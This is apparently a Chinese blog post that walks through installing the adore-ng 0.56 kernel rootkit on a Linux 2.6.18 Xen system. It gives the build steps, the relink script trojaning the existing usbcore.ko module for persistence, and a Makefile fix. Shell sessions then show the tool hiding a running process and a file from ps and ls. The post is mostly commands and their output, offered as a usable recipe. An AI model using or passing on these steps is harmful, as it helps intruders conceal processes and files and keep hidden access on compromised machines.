rootkit(1)-adore-ng0.56在Linux2.6应用

自己机器是fc8
#uname -r
2.6.18.8-xen

源码在/home/sploving/xen

1. 下载adore-ng-0.56
2. cp Makefile.2.6 Makefile
并修改相应的项,以适应自己的内核版本。
3. make
4. ./relink
[root@localhost adore-ng-0.56-wztfix]# ./relink26

This script may be used to relink adore into
already existing LKMs on the system. This is the Kernel 2.6
version of 'relink'. Note that -DRELINKED has to be switched on
in the Makefile. Modules compiled with this switch cant work stand alone.

The following LKMs are available:


fuse ipt_MASQUERADE iptable_nat ip_nat bridge
bnep rfcomm l2cap bluetooth autofs4
sunrpc ipt_REJECT iptable_filter ip_tables xt_state
ip_conntrack nfnetlink xt_tcpudp ip6t_ipv6header ip6t_REJECT
ip6table_filter ip6_tables x_tables ipv6 ib_iser
rdma_cm ib_addr ib_cm ib_sa ib_mad
ib_core iscsi_tcp libiscsi scsi_transport_iscsi binfmt_misc
dm_mirror dm_multipath dm_mod snd_hda_intel snd_hda_codec
snd_seq_dummy snd_seq_oss snd_seq_midi_event snd_seq snd_seq_device
snd_pcm_oss snd_mixer_oss tsdev snd_pcm evdev
i2c_i801 usbhid snd_timer pcspkr serio_raw
i2c_core 8250_pci 8250_pnp shpchp snd
8250 parport_pc soundcore pci_hotplug serial_core
parport snd_page_alloc sg sr_mod cdrom
rtc ahci libata sd_mod scsi_mod
ext3 jbd uhci_hcd ohci_hcd ehci_hcd
usbcore

Chose one:
选择一个usbcore
Choice was >>>usbcore<<<
Searching for usbcore.ko ...
Found /lib/modules/2.6.18.8-xen/kernel/drivers/usb/core/usbcore.ko!

Copy trojaned LKM back to original LKM? (y/n)
y

5.insmod  adore-ng-2.6.ko
出现如下错误:
insmod: error inserting 'adore-ng-2.6.o': -1 Invalid module format
问题是内核版本不同。应该是makefiles设置的内核版本不对.
修改makefile 将
KERNEL_SOURCE=/usr/src/kernel/2.6.23.1-42.fc8-i686改为:
KERNEL_SOURCE=/home/sploving/xen/build-linux-2.6.18-xen_x86_32

6. ./ava I
Checking for adore  0.12 or higher ...
Adore 1.56 installed. Good luck.

成功安装!下面开始应用此rootkit来隐藏相应的文件。

7.隐藏进程:
[root@localhost adore-ng-0.56-wztfix]# ps
  PID TTY          TIME CMD
 3957 pts/0    00:00:00 su
 3960 pts/0    00:00:00 bash
 5028 pts/0    00:00:00 ps

[root@localhost adore-ng-0.56-wztfix]# ./ava i 3960
Checking for adore  0.12 or higher ...
Adore 1.56 installed. Good luck.
Made PID 3960 invisible.

[root@localhost adore-ng-0.56-wztfix]# ps
  PID TTY          TIME CMD
 3957 pts/0    00:00:00 su
8.隐藏文件:
[root@localhost adore-ng-0.56-wztfix]# ls
errors temp
[root@localhost adore-ng-0.56-wztfix]# ./ava h errors
Checking for adore  0.12 or higher ...
Adore 1.56 installed. Good luck.
File 'errors' is now hidden.
[root@localhost adore-ng-0.56-wztfix]# ls
temp

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值